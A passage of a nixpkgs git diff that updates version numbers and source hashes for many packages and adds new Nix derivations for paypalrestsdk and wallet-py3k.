+  mypy-boto3-amplify = buildMypyBoto3Package "amplify" "1.34.63" "sha256-alOtCCZwBcx6g3lm80AzI5aF8WbEABd44A0e6gfZ42o=";
 
   mypy-boto3-amplifybackend = buildMypyBoto3Package "amplifybackend" "1.34.0" "sha256-wP6fOHAUg4dvrlQ2rUNk/lgIr6JnpWu/0Tr2prTckOk=";
 
@@ -105,7 +105,7 @@ rec {
 
   mypy-boto3-autoscaling-plans = buildMypyBoto3Package "autoscaling-plans" "1.34.0" "sha256-16siojcxNe5MuSZSRJXPAz2UudJozEEyCYUrsGNDAM8=";
 
-  mypy-boto3-backup = buildMypyBoto3Package "backup" "1.34.0" "sha256-H4wIDyA+/6sH6X5zp/HGP2vfWIY5HzgTfa1ThXfXwYM=";
+  mypy-boto3-backup = buildMypyBoto3Package "backup" "1.34.64" "sha256-RvxhEmrOtkvagjaj8x2H7AAp+uK9qDIDe7T9p52rKRc=";
 
   mypy-boto3-backup-gateway = buildMypyBoto3Package "backup-gateway" "1.34.0" "sha256-nSIEEDKJfI852/WBQ7OuDPuVijEiMr1vhpkzODbhRRc=";
 
@@ -161,7 +161,7 @@ rec {
 
   mypy-boto3-codeartifact = buildMypyBoto3Package "codeartifact" "1.34.0" "sha256-iUgoanqMSyxRopVctyFLiu+otFSgRvdgQPw4mKX3QIk=";
 
-  mypy-boto3-codebuild = buildMypyBoto3Package "codebuild" "1.34.59" "sha256-dkX5QeHjfBrY8mU+/5tKVkJlqAodBYqkW8oei1iqTl0=";
+  mypy-boto3-codebuild = buildMypyBoto3Package "codebuild" "1.34.64" "sha256-ZsTKKDanTLB4jFOGLQTLPEterhabpShrchHvvWcUBMo=";
 
   mypy-boto3-codecatalyst = buildMypyBoto3Package "codecatalyst" "1.34.0" "sha256-TsXVy8bx6kaj84PJiNNU+075Tx3WW0mrtZFOyLx9yT4=";
 
@@ -197,7 +197,7 @@ rec {
 
   mypy-boto3-config = buildMypyBoto3Package "config" "1.34.45" "sha256-LN1CcIOj9cgzSNCvnUVwLRNPXlitHAlt+5jj6wu6i8E=";
 
-  mypy-boto3-connect = buildMypyBoto3Package "connect" "1.34.61" "sha256-LbiRcZWmULytWtEy0J2mXqQtHofbbfbRV2PyvEFcRfA=";
+  mypy-boto3-connect = buildMypyBoto3Package "connect" "1.34.64" "sha256-ijgvxHI9taQXYZa1d4yLMp63bCrEFfE0Ug/vmKUGaNM=";
 
   mypy-boto3-connect-contact-lens = buildMypyBoto3Package "connect-contact-lens" "1.34.0" "sha256-Wx9vcjlgXdWZ2qP3Y/hTY2LAeTd+hyyV5JSIuKQ5I5k=";
 
@@ -251,9 +251,9 @@ rec {
 
   mypy-boto3-ebs = buildMypyBoto3Package "ebs" "1.34.0" "sha256-xIrrXOayZed+Jcn4CFXXNgKz/G+RdiuwA04wq+Ry/fs=";
 
-  mypy-boto3-ec2 = buildMypyBoto3Package "ec2" "1.34.61" "sha256-rRK8Q3zUJuelfYvaUhrqxbsFUn1Xl6oxCahaRhI3+W8=";
+  mypy-boto3-ec2 = buildMypyBoto3Package "ec2" "1.34.64" "sha256-fDsnEbTo5UAgPGCoUqGbvk68+9RNN8qZpScW7t/Bq+Q=";
 
-  mypy-boto3-ec2-instance-connect = buildMypyBoto3Package "ec2-instance-connect" "1.34.0" "sha256-95TXW9HJHciM+lZCdlUYOwcLhkKE8RJpRx9/dEnu3FU=";
+  mypy-boto3-ec2-instance-connect = buildMypyBoto3Package "ec2-instance-connect" "1.34.63" "sha256-kExmGXEJ5jrvOewmWx7AjVb3boD5GU0cEUp/2PQhzlw=";
 
   mypy-boto3-ecr = buildMypyBoto3Package "ecr" "1.34.0" "sha256-uD+wMR6WikLUyoIbAGwY1KPj42S4zr7nWOpPqXxaw0U=";
 
@@ -275,7 +275,7 @@ rec {
 
   mypy-boto3-elb = buildMypyBoto3Package "elb" "1.34.0" "sha256-5Eh5D872pVDd7Q+DDh3zpGMVgS8fUJsV+63H1fet73s=";
 
-  mypy-boto3-elbv2 = buildMypyBoto3Package "elbv2" "1.34.32" "sha256-jDrQb4A0PVBSxH7vuPXehpEYdU8Hwgv2Sc2+j0OGVJg=";
+  mypy-boto3-elbv2 = buildMypyBoto3Package "elbv2" "1.34.63" "sha256-snXMLMHLEpJjfX1GJp6FfYgIjkS8vkbf/hESBdhxIfk=";
 
   mypy-boto3-emr = buildMypyBoto3Package "emr" "1.34.44" "sha256-zM1VpAaBSxqdZiSrNiaAKfvliNRXMLEmvFvXcFmkZO0=";
 
@@ -297,7 +297,7 @@ rec {
 
   mypy-boto3-firehose = buildMypyBoto3Package "firehose" "1.34.46" "sha256-Fgs7wrwKPK79cYduCR/RYQ2FEZvghDuWI1hXKzFLfJo=";
 
-  mypy-boto3-fis = buildMypyBoto3Package "fis" "1.34.0" "sha256-0TJ7iAF9hTOiKoW305p8a5fE0lZrdtoFDj/jjZzfdf0=";
+  mypy-boto3-fis = buildMypyBoto3Package "fis" "1.34.63" "sha256-TJnzgQGDcybpVqg+p7Tuvw/RoY79cQPPChyHWlMxhiY=";
 
   mypy-boto3-fms = buildMypyBoto3Package "fms" "1.34.0" "sha256-tzaSecIXzkC+Zr5MGpU7GaoiGHGsywEglZ8+Ja0XDDo=";
 
@@ -411,7 +411,7 @@ rec {
 
   mypy-boto3-kinesisanalytics = buildMypyBoto3Package "kinesisanalytics" "1.34.0" "sha256-eEoSmwMTa/hsbKbuKuzAZv4jHljGKq3b5Rw7K2Pgc50=";
 
-  mypy-boto3-kinesisanalyticsv2 = buildMypyBoto3Package "kinesisanalyticsv2" "1.34.62" "sha256-bL6EKRjfIIUUIMSpoE0BWeAg3xb2xbKi8NBpHSaEEFg=";
+  mypy-boto3-kinesisanalyticsv2 = buildMypyBoto3Package "kinesisanalyticsv2" "1.34.64" "sha256-7sJyrWtBcbrWlCjR7pLdBLgW7sXcRazDPBW+OGwh4Xg=";
 
   mypy-boto3-kinesisvideo = buildMypyBoto3Package "kinesisvideo" "1.34.48" "sha256-uYSkwOuYKF3B+sj5IWbDL789Xue2yNY9g14j/2b6k6w=";
 
@@ -581,7 +581,7 @@ rec {
 
   mypy-boto3-rbin = buildMypyBoto3Package "rbin" "1.34.0" "sha256-Y+a/p3r5IgWk4oH6MOeq0e7rMiNvLCqoz1ZE+xXNtOw=";
 
-  mypy-boto3-rds = buildMypyBoto3Package "rds" "1.34.58" "sha256-P3s5qNAV9UG6fMSxvkUevKACU3FGjhOne1D0LRi/eMk=";
+  mypy-boto3-rds = buildMypyBoto3Package "rds" "1.34.63" "sha256-1JsO69vElUUgZlDNejuZz8x7bPCtHkZAG1qEtvg+O5E=";
 
   mypy-boto3-rds-data = buildMypyBoto3Package "rds-data" "1.34.6" "sha256-d+WXt3cSUe5ZxynSjPSJxXgv6evP/rhZrX1ua9rtSx8=";
 
@@ -619,13 +619,13 @@ rec {
 
   mypy-boto3-rum = buildMypyBoto3Package "rum" "1.34.49" "sha256-Mq2H+13cjxYRwFfxJpWTAb+W5bx+Vew+jl+zbreRIkQ=";
 
-  mypy-boto3-s3 = buildMypyBoto3Package "s3" "1.34.62" "sha256-HWDLEJB667VrTYZYircK5C23oRSGnwWLu7tNWG6yLm0=";
+  mypy-boto3-s3 = buildMypyBoto3Package "s3" "1.34.64" "sha256-6yjHKgKA6lOpr4yEmjm2RR2At+YQwfrhWR7o79OhkNM=";
 
   mypy-boto3-s3control = buildMypyBoto3Package "s3control" "1.34.18" "sha256-53s5ii1gFX9toigiazEtS5Jogg3VFFr+1/uiLzoU7Uo=";
 
   mypy-boto3-s3outposts = buildMypyBoto3Package "s3outposts" "1.34.0" "sha256-xLuGP9Fe0S7zRimt1AKd9KOrytmNd/GTRg5OVi5Xpos=";
 
-  mypy-boto3-sagemaker = buildMypyBoto3Package "sagemaker" "1.34.53" "sha256-IgZzJstoOg1wzucKqPBx47baLbagrUk1kW4P8cI++cg=";
+  mypy-boto3-sagemaker = buildMypyBoto3Package "sagemaker" "1.34.64" "sha256-Sf1T1aqRMIEZmuA2KH5tzuhTDN8yfFID/+h0DCWxws0=";
 
   mypy-boto3-sagemaker-a2i-runtime = buildMypyBoto3Package "sagemaker-a2i-runtime" "1.34.0" "sha256-jMZ3aWKQPhNec4A/02S1waQi6Mx9JVdENc3kblhsKjA=";
 
@@ -647,7 +647,7 @@ rec {
 
   mypy-boto3-sdb = buildMypyBoto3Package "sdb" "1.34.0" "sha256-13BuAQD8uDwwDhCw+8O3V882H6/oor5Z8mBmjb7HHAU=";
 
-  mypy-boto3-secretsmanager = buildMypyBoto3Package "secretsmanager" "1.34.43" "sha256-q79WB3XC/g3Dg7f3DBahv3U9mz/8DKpeNUR+aFeDpos=";
+  mypy-boto3-secretsmanager = buildMypyBoto3Package "secretsmanager" "1.34.63" "sha256-oZM3PXGPdH1Th4tcx/7y6bj944kuR4isaQ/SsWo1Vkw=";
 
   mypy-boto3-securityhub = buildMypyBoto3Package "securityhub" "1.34.20" "sha256-EcLY5SXSN2kJEuo8s2sYJJfq/X78BM1msyI9TfYD7Xw=";
 
diff --git a/pkgs/development/python-modules/niaarm/default.nix b/pkgs/development/python-modules/niaarm/default.nix
index c3343f842a99..4ebaee014a99 100644
--- a/pkgs/development/python-modules/niaarm/default.nix
+++ b/pkgs/development/python-modules/niaarm/default.nix
@@ -13,7 +13,7 @@
 
 buildPythonPackage rec {
   pname = "niaarm";
-  version = "0.3.7";
+  version = "0.3.8";
   format = "pyproject";
 
   disabled = pythonOlder "3.9";
@@ -22,7 +22,7 @@ buildPythonPackage rec {
     owner = "firefly-cpp";
     repo = "NiaARM";
     rev = "refs/tags/${version}";
-    hash = "sha256-0YBjYpeu1eagy9hp/EuXN1cfHztEjR/i4/YFKXS33Co=";
+    hash = "sha256-p07SuCl433rj6IEMO1eg5QHAUTVfgqYo5gsprMvQg2Y=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/openllm-core/default.nix b/pkgs/development/python-modules/openllm-core/default.nix
index f5fb0ad6e6bf..bc9cbace9515 100644
--- a/pkgs/development/python-modules/openllm-core/default.nix
+++ b/pkgs/development/python-modules/openllm-core/default.nix
@@ -89,7 +89,7 @@ buildPythonPackage rec {
     full = with optional-dependencies; (
       vllm
       # use absolute path to disambiguate with derivbation argument
-      ++ passthru.optional-dependencies.bentoml
+      ++ optional-dependencies.bentoml
       ++ fine-tune );
   };
 
diff --git a/pkgs/development/python-modules/opower/default.nix b/pkgs/development/python-modules/opower/default.nix
index 306f0431bfae..0d25314befdf 100644
--- a/pkgs/development/python-modules/opower/default.nix
+++ b/pkgs/development/python-modules/opower/default.nix
@@ -12,7 +12,7 @@
 
 buildPythonPackage rec {
   pname = "opower";
-  version = "0.4.0";
+  version = "0.4.1";
   pyproject = true;
 
   disabled = pythonOlder "3.9";
@@ -21,7 +21,7 @@ buildPythonPackage rec {
     owner = "tronikos";
     repo = "opower";
     rev = "refs/tags/v${version}";
-    hash = "sha256-O+yIxEFqD6hel1H9aUnSz/wJoEhVrg6DDZptNcJVkSw=";
+    hash = "sha256-PB6t1ltxJs7aYn/OthCORHbyRXqMkTZ6YE2He0k/2mc=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/paypalrestsdk/default.nix b/pkgs/development/python-modules/paypalrestsdk/default.nix
new file mode 100644
index 000000000000..43061b4eeab2
--- /dev/null
+++ b/pkgs/development/python-modules/paypalrestsdk/default.nix
@@ -0,0 +1,44 @@
+{ buildPythonPackage
+, fetchPypi
+
+# build-system
+, setuptools
+
+# dependencies
+, pyopenssl
+, requests
+, six
+}:
+
+buildPythonPackage rec {
+  pname = "paypalrestsdk";
+  version = "1.13.2";
+  pyproject = true;
+
+  src = fetchPypi {
+    inherit pname version;
+    sha256 = "sha256-kZUfNtsw1oW5ceFASYSRo1bPHfjv9xZWYDrKTtcs81o=";
+  };
+
+  build-system = [
+    setuptools
+  ];
+
+  dependencies = [
+    pyopenssl
+    requests
+    six
+  ];
+
+  doCheck = false; # no tests
+
+  pythonImportsCheck = [
+    "paypalrestsdk"
+  ];
+
+  meta = {
+    homepage = "https://developer.paypal.com/";
+    description = "Python APIs to create, process and manage payment";
+    license = "PayPal SDK License";
+  };
+}
diff --git a/pkgs/development/python-modules/pylacrosse/default.nix b/pkgs/development/python-modules/pylacrosse/default.nix
index f247f42e975b..ebd7f3ef405a 100644
--- a/pkgs/development/python-modules/pylacrosse/default.nix
+++ b/pkgs/development/python-modules/pylacrosse/default.nix
@@ -2,7 +2,7 @@
 , buildPythonPackage
 , fetchFromGitHub
 , mock
-, nose
+, pynose
 , pyserial
 , pytestCheckHook
 , pythonOlder
@@ -33,7 +33,7 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     mock
-    nose
+    pynose
     pytestCheckHook
   ];
 
diff --git a/pkgs/development/python-modules/streamlit/default.nix b/pkgs/development/python-modules/streamlit/default.nix
index 851a613d8740..cbceaf476ccf 100644
--- a/pkgs/development/python-modules/streamlit/default.nix
+++ b/pkgs/development/python-modules/streamlit/default.nix
@@ -32,14 +32,14 @@
 
 buildPythonPackage rec {
   pname = "streamlit";
-  version = "1.32.1";
+  version = "1.32.2";
   pyproject = true;
 
   disabled = pythonOlder "3.8";
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-7GQASW9niFIUPLwjxMQ4ifeLbJPC4nVv2OBgzM3kuP0=";
+    hash = "sha256-Eli5y8P/lXv30Jsb/IXO3DCPEGWzB0hUUpWpr41Vd6s=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/tpm2-pytss/default.nix b/pkgs/development/python-modules/tpm2-pytss/default.nix
index b6f43516f3a3..484f3dc2d16e 100644
--- a/pkgs/development/python-modules/tpm2-pytss/default.nix
+++ b/pkgs/development/python-modules/tpm2-pytss/default.nix
@@ -1,7 +1,6 @@
 { lib
 , buildPythonPackage
 , fetchPypi
-, fetchpatch
 , pythonOlder
 , asn1crypto
 , cffi
@@ -20,50 +19,17 @@
 
 buildPythonPackage rec {
   pname = "tpm2-pytss";
-  version = "2.1.0";
+  version = "2.2.1";
   format = "setuptools";
 
   disabled = pythonOlder "3.7";
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-W1tLFFb9wa7vPSw5cL6qB4yPfyZIyXppvPYMWi+VyJc=";
+    hash = "sha256-uPFUc0IvN39ZxyF9zRR5FlzOYt+jOTTsl2oni68unv4=";
   };
 
   patches = [
-    # This patches the call to the C preprocessor not to include types
-    # pycparser does not handle.
-    # `hardeningDisable = [ "fortify" ]` would have the same effect but
-    # would also disable hardening from generated FFI objects.
-    #
-    # backport of https://github.com/tpm2-software/tpm2-pytss/pull/523
-    (fetchpatch {
-      url = "https://github.com/baloo/tpm2-pytss/commit/099c069f28cfcd0a3019adebfeafa976f9395221.patch";
-      sha256 = "sha256-wU2WfLYFDmkhGzYornZ386tB3zb3GYfGOTc+/QOFb1o=";
-    })
-
-    # Lookup tcti via getinfo not system's ld_library_path
-    # https://github.com/tpm2-software/tpm2-pytss/pull/525
-    (fetchpatch {
-      url = "https://github.com/tpm2-software/tpm2-pytss/commit/97289a08ddf44f7bdccdd122d6055c69e12dc584.patch";
-      sha256 = "sha256-VFq3Hv4I8U8ifP/aSjyu0BiW/4jfPlRDKqRcqUGw6UQ=";
-    })
-
-    (fetchpatch {
-      name = "test-new-cryptography.patch";
-      url = "https://github.com/tpm2-software/tpm2-pytss/commit/e4006e6066c015d9ed55befa9b98247fbdcafd7d.diff";
-      sha256 = "sha256-Wxe9u7Cvv2vKMGTcK3X8W1Mq/nCt70zrzWUKA+83Sas=";
-    })
-
-    # Inheritance in newer cryptography is not possible anymore
-    # for `RSAPrivateNumbers` because of a Rust implementation.
-    # https://github.com/tpm2-software/tpm2-pytss/pull/562
-    (fetchpatch {
-      name = "fix-newer-cryptography-42-0-1-support.patch";
-      url = "https://github.com/tpm2-software/tpm2-pytss/commit/0fbb9d099370c0a7031dd13990986538f586836a.patch";
-      sha256 = "sha256-xnQIr4/iJra0+rn5estVqSvG8pXcuwWykmmayBpCzgw=";
-    })
-
     # Fix hardcoded `fapi-config.json` configuration path
     ./fapi-config.patch
   ];
diff --git a/pkgs/development/python-modules/wallet-py3k/default.nix b/pkgs/development/python-modules/wallet-py3k/default.nix
new file mode 100644
index 000000000000..f78463e6748a
--- /dev/null
+++ b/pkgs/development/python-modules/wallet-py3k/default.nix
@@ -0,0 +1,47 @@
+{ lib
+, buildPythonPackage
+, fetchPypi
+, substituteAll
+, openssl
+, setuptools
+, six
+}:
+
+buildPythonPackage rec {
+  pname = "wallet-py3k";
+  version = "0.0.4";
+  pyproject = true;
+
+  src = fetchPypi {
+    inherit pname version;
+    hash = "sha256-kyHSh8qHbzK6gFLGnL6dUJ/GLJHTNC86jjXa/APqIzI=";
+  };
+
+  patches = [
+    (substituteAll {
+      src = ./openssl-path.patch;
+      openssl = lib.getExe openssl;
+    })
+  ];
+
+  build-system = [
+    setuptools
+  ];
+
+  dependencies = [
+    six
+  ];
+
+  doCheck = false; # no tests
+
+  pythonImportsCheck = [
+    "wallet"
+  ];
+
+  meta = with lib; {
+    description = "Passbook file generator";
+    homepage = "https://pypi.org/project/wallet-py3k";
+    license = licenses.mit;
+    maintainers = with maintainers; [ hexa ];
+  };
+}
diff --git a/pkgs/development/python-modules/wallet-py3k/openssl-path.patch b/pkgs/development/python-modules/wallet-py3k/openssl-path.patch
new file mode 100644
index 000000000000..8864818b13f7
--- /dev/null
+++ b/pkgs/development/python-modules/wallet-py3k/openssl-path.patch
@@ -0,0 +1,13 @@
+diff --git a/wallet/models.py b/wallet/models.py
+index 1b75402..ad115de 100644
+--- a/wallet/models.py
++++ b/wallet/models.py
+@@ -320,7 +320,7 @@ class Pass(object):
+     def _createSignature(self, manifest, certificate, key,
+                          wwdr_certificate, password):
+         openssl_cmd = [
+-            'openssl',
++            '@openssl@',
+             'smime',
+             '-binary',
+             '-sign',
diff --git a/pkgs/development/tools/analysis/rr/zen_workaround.nix b/pkgs/development/tools/analysis/rr/zen_workaround.nix
index 3ec69aabf8d2..64a44b18fe29 100644
--- a/pkgs/development/tools/analysis/rr/zen_workaround.nix
+++ b/pkgs/development/tools/analysis/rr/zen_workaround.nix
@@ -6,11 +6,11 @@
 */
 stdenv.mkDerivation rec {
   pname = "rr-zen_workaround";
-  version = "2020-09-22";
+  version = "2023-11-23";
 
   src = fetchzip {
-    url = "https://gist.github.com/glandium/01d54cefdb70561b5f6675e08f2990f2/archive/2f430f0c136a69b0886281d0c76708997d8878af.zip";
-    sha256 = "1mbmbyymgl75wparv3rgnyxnc44rd6n935jziz9anl9apy031ryi";
+    url = "https://gist.github.com/glandium/01d54cefdb70561b5f6675e08f2990f2/archive/f9d2070a7d87388da39acd157e0e53666a7d6ee0.zip";
+    sha256 = "sha256-VqqKYjd8J7Uh5ea+PjLT93cNdQFvGIwGu4bzx+weSvo=";
   };
 
   hardeningDisable = [ "pic" ];
diff --git a/pkgs/development/tools/build-managers/buck2/default.nix b/pkgs/development/tools/build-managers/buck2/default.nix
index 20b1d184e8e1..3aad79ce1e58 100644
--- a/pkgs/development/tools/build-managers/buck2/default.nix
+++ b/pkgs/development/tools/build-managers/buck2/default.nix
@@ -38,7 +38,7 @@ let
   buildHashes = builtins.fromJSON (builtins.readFile ./hashes.json);
 
   # our version of buck2; this should be a git tag
-  version = "2024-01-15";
+  version = "2024-03-15";
 
   # the platform-specific, statically linked binary — which is also
   # zstd-compressed
@@ -63,7 +63,7 @@ let
   # tooling
   prelude-src =
     let
-      prelude-hash = "ccf6f5d1693cfa215b60212cf9863d27c6fd6a69";
+      prelude-hash = "c68a0e4b35928891e72df1738c890bfcb76a6174";
       name = "buck2-prelude-${version}.tar.gz";
       hash = buildHashes."_prelude";
       url = "https://github.com/facebook/buck2-prelude/archive/${prelude-hash}.tar.gz";
diff --git a/pkgs/development/tools/build-managers/buck2/hashes.json b/pkgs/development/tools/build-managers/buck2/hashes.json
index 687a2f585f02..280228e6f4e8 100644
--- a/pkgs/development/tools/build-managers/buck2/hashes.json
+++ b/pkgs/development/tools/build-managers/buck2/hashes.json
@@ -1,7 +1,7 @@
 { "_comment": "@generated by pkgs/development/tools/build-managers/buck2/update.sh"
-, "_prelude": "sha256-Bsd545xKass+Sua1sTFRNJgOokaHS62AKvhiLuqL58w="
-, "x86_64-linux": "sha256-Oxgz96x9INVDybJIRlBvIa76V7ngUxYh9Uo6Hdo/3pQ="
-, "x86_64-darwin": "sha256-tOlp6LKdQZg6TK2Ki8yf/e38Ibrx3fDrzOzC6bzGtrQ="
-, "aarch64-linux": "sha256-LmMbh/4tckZN1J8GJzMt8GyPmQbk3zc9DwXqJ004O7c="
-, "aarch64-darwin": "sha256-qsdHCxtJzu+UMVl1AcQh3cgDWQAITQNJEnfEN9A1W5M="
+, "_prelude": "sha256-PTetJetdpFU3bKLU1WESMwIEZox86IcrczvCxmaQzoE="
+, "x86_64-linux": "sha256-2vaKYCFRu2fNA/Nsu3HHT5DWtNeMnEfE8FVl7bat1HQ="
+, "x86_64-darwin": "sha256-zzB3sPOCDGWAb4CQO0yjb7Bph+ioi3cJoMYO/2YzXfU="
+, "aarch64-linux": "sha256-sx8rcADlfdAECL/SSHeB7vzxoedqx6+yT7yJp1qLBgM="
+, "aarch64-darwin": "sha256-GKQ8Xfe9iRpgq5SrM6nyyIPBh9gC25uN/vzGRjViQdQ="
 }
diff --git a/pkgs/development/tools/build-managers/moon/default.nix b/pkgs/development/tools/build-managers/moon/default.nix
index b3261ee08f3b..aa084d46ae73 100644
--- a/pkgs/development/tools/build-managers/moon/default.nix
+++ b/pkgs/development/tools/build-managers/moon/default.nix
@@ -9,16 +9,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "moon";
-  version = "1.22.6";
+  version = "1.22.7";
 
   src = fetchFromGitHub {
     owner = "moonrepo";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-xVjY9lrnNMFU97FLOQgwb/GKQNVtSBcFTY27KA0Iyns=";
+    hash = "sha256-sMV7pr3uVWpmx1cK+qooxe55E2IAqdbcYs5H76Al56c=";
   };
 
-  cargoHash = "sha256-UHKRPb15H+91jmKyHy7OGiKfCCVVhir4aHITldAl0RA=";
+  cargoHash = "sha256-RsT0P7fNsKchQ3N71DNhdR0jViQJe/pyWKtj/A+nDhk=";
 
   env = {
     RUSTFLAGS = "-C strip=symbols";
diff --git a/pkgs/development/tools/continuous-integration/cirrus-cli/default.nix b/pkgs/development/tools/continuous-integration/cirrus-cli/default.nix
index 9a39ce282f2f..df123a100f8d 100644
--- a/pkgs/development/tools/continuous-integration/cirrus-cli/default.nix
+++ b/pkgs/development/tools/continuous-integration/cirrus-cli/default.nix
@@ -6,13 +6,13 @@
 
 buildGoModule rec {
   pname = "cirrus-cli";
-  version = "0.112.2";
+  version = "0.112.3";
 
   src = fetchFromGitHub {
     owner = "cirruslabs";
     repo = pname;
     rev = "v${version}";
-    sha256 = "sha256-VUqAcHv9bQTl2QSgVyCHZkq2jKUAmPYgy4iEDeV7W1A=";
+    sha256 = "sha256-jQ+ke42H55n/ssWFVCWouojSOd/hvkDcmlGUb/a9thQ=";
   };
 
   vendorHash = "sha256-tHEbHExdbWeZm3+rwRYpRILyPYEYdeVJ91Qr/yNIKV8=";
diff --git a/pkgs/development/tools/database/dbmate/default.nix b/pkgs/development/tools/database/dbmate/default.nix
index 30d41b21f950..8ecc6b22fbda 100644
--- a/pkgs/development/tools/database/dbmate/default.nix
+++ b/pkgs/development/tools/database/dbmate/default.nix
@@ -5,16 +5,16 @@
 
 buildGoModule rec {
   pname = "dbmate";
-  version = "2.12.0";
+  version = "2.13.0";
 
   src = fetchFromGitHub {
     owner = "amacneil";
     repo = "dbmate";
     rev = "refs/tags/v${version}";
-    hash = "sha256-TXQXG6FdDFtUp1VuM3iWifyRI/6NKa1iPDT8riZxux0=";
+    hash = "sha256-4Ur9LGYcC9C2EUWLLppcVSf+PLgfPITbKGp2qLRnxVY=";
   };
 
-  vendorHash = "sha256-4l3OYn7p+dbGieQ56klyNjuI0jk1ccgBXKeJGOamCjY=";
+  vendorHash = "sha256-le2AWHqTElo95GQJ8jEk3jjNrxu63YyWVtq+CI6+SbY=";
 
   doCheck = false;
 
diff --git a/pkgs/development/tools/database/pgweb/default.nix b/pkgs/development/tools/database/pgweb/default.nix
index ef0f64a73a17..9fa1436bee1b 100644
--- a/pkgs/development/tools/database/pgweb/default.nix
+++ b/pkgs/development/tools/database/pgweb/default.nix
@@ -7,13 +7,13 @@
 
 buildGoModule rec {
   pname = "pgweb";
-  version = "0.14.3";
+  version = "0.15.0";
 
   src = fetchFromGitHub {
     owner = "sosedoff";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-We7MyKOdauf93tBihvjouEiZ4FnkvsUtfJpswK6ef7Q=";
+    hash = "sha256-n8MFYwne25MdzVwYmmXt9d9rqKU37patAazb3Wn9coM=";
   };
 
   postPatch = ''
diff --git a/pkgs/development/tools/electron/binary/default.nix b/pkgs/development/tools/electron/binary/default.nix
index 0cdb42a3a0b8..a9fbf9d1de3d 100644
--- a/pkgs/development/tools/electron/binary/default.nix
+++ b/pkgs/development/tools/electron/binary/default.nix
@@ -184,4 +184,13 @@ rec {
     aarch64-darwin = "d64947fee370a3b111f170399969977959848f2a2f544a1ae5dc081fc2df75cf";
     headers = "1lrwc03ffrf4bi2faampkx7yg0iqsrcp86znp9fw6ajwdwgqsc81";
   };
+
+  electron_29-bin = mkElectron "29.1.4" {
+    armv7l-linux = "12a7e6a8ef214d104ee72eb6636a055c9c6d41bcc58f31a8dc48b9bc8fd0fcb5";
+    aarch64-linux = "0d41a51d45712d0312dd24d79a395e80280bd8365ebb8e46c252cadcb780354b";
+    x86_64-linux = "83a37103b67378a9073898541cfc4af8b5de708da15135f060bf26993ab426b5";
+    x86_64-darwin = "e7887396018840ca482eb481edbff2e9a5580998412ffd217f70fad02f23969d";
+    aarch64-darwin = "7ad63253fd6de9dbb337efbf4a6d0161f0e4c5953243bec27de488db98ef8a6c";
+    headers = "0plc831v1fva2yrwg1zal5n9wkgy0f6v1by6b3jh8wjgrsrkhk00";
+  };
 }
diff --git a/pkgs/development/tools/go-containerregistry/default.nix b/pkgs/development/tools/go-containerregistry/default.nix
index a6e0d9c47681..ed1db7612411 100644
--- a/pkgs/development/tools/go-containerregistry/default.nix
+++ b/pkgs/development/tools/go-containerregistry/default.nix
@@ -4,13 +4,13 @@ let bins = [ "crane" "gcrane" ]; in
 
 buildGoModule rec {
   pname = "go-containerregistry";
-  version = "0.19.0";
+  version = "0.19.1";
 
   src = fetchFromGitHub {
     owner = "google";
     repo = pname;
     rev = "v${version}";
-    sha256 = "sha256-9sKJM1QnQcGF9d5oT1YEoSeIlg0wh2VOQ6cC1QCrcgY=";
+    sha256 = "sha256-mHuxwIyPNUWuP4QmMyLMdRlpwSueyKkk9VezJ4Sv2Nw=";
   };
   vendorHash = null;
 
diff --git a/pkgs/development/tools/reindeer/default.nix b/pkgs/development/tools/reindeer/default.nix
index 781662af8caf..c689ba110057 100644
--- a/pkgs/development/tools/reindeer/default.nix
+++ b/pkgs/development/tools/reindeer/default.nix
@@ -11,16 +11,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "reindeer";
-  version = "unstable-2024-03-06";
+  version = "2024.03.11.00";
 
   src = fetchFromGitHub {
     owner = "facebookincubator";
-    repo = pname;
-    rev = "3ec771e9608a01c90d6aac92aa77145551786c64";
-    sha256 = "sha256-cClbSJuEs4yIjx+13GSIevZO2PWEEHVDaMEmf729keA=";
+    repo = "reindeer";
+    rev = "refs/tags/v${version}";
+    hash = "sha256-cClbSJuEs4yIjx+13GSIevZO2PWEEHVDaMEmf729keA=";
   };
 
-  cargoSha256 = "sha256-plkn+snWUaOH6ZxaPUbCvnNOky+eL6oY4ZHwv+qyNiE=";
+  cargoHash = "sha256-TtbkzU48j3dmqRocJdY8KJz/3YHYIi3SZYM/eB9zoIg=";
 
   nativeBuildInputs = [ pkg-config ];
   buildInputs =
diff --git a/pkgs/development/tools/rust/sqlx-cli/default.nix b/pkgs/development/tools/rust/sqlx-cli/default.nix
index 55cf34bdac28..81c02a0d636b 100644
--- a/pkgs/development/tools/rust/sqlx-cli/default.nix
+++ b/pkgs/development/tools/rust/sqlx-cli/default.nix
@@ -16,16 +16,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "sqlx-cli";
-  version = "0.7.3";
+  version = "0.7.4";
 
   src = fetchFromGitHub {
     owner = "launchbadge";
     repo = "sqlx";
     rev = "v${version}";
-    hash = "sha256-AKVNyuV9jwzmsy6tHkGkLj1fhVT8XYvEn2Ip2wCKDxI=";
+    hash = "sha256-q1o2pNKfvenpRwiYgIKkOYNcajgIhrhCjFC7bbEyLE4=";
   };
 
-  cargoHash = "sha256-F3FLu/n57F8psk+d0Hf+HnqV/DvEFQwRefu/4C8A1sU=";
+  cargoHash = "sha256-sMyK1v4pJmmlN47mvgUkpLBjcpmT346VSp984IpvVWY=";
 
   # Prepare the Cargo.lock for offline use.
   # See https://github.com/NixOS/nixpkgs/issues/261412
diff --git a/pkgs/development/tools/semantic-release/default.nix b/pkgs/development/tools/semantic-release/default.nix
index 2b81e5bef401..bb99378b83db 100644
--- a/pkgs/development/tools/semantic-release/default.nix
+++ b/pkgs/development/tools/semantic-release/default.nix
@@ -8,16 +8,16 @@
 
 buildNpmPackage rec {
   pname = "semantic-release";
-  version = "23.0.2";
+  version = "23.0.3";
 
   src = fetchFromGitHub {
     owner = "semantic-release";
     repo = "semantic-release";
     rev = "v${version}";
-    hash = "sha256-zwc21Ug/x1jP+litn8ij8eEvqpVmtMSiQT3jN4+RhNc=";
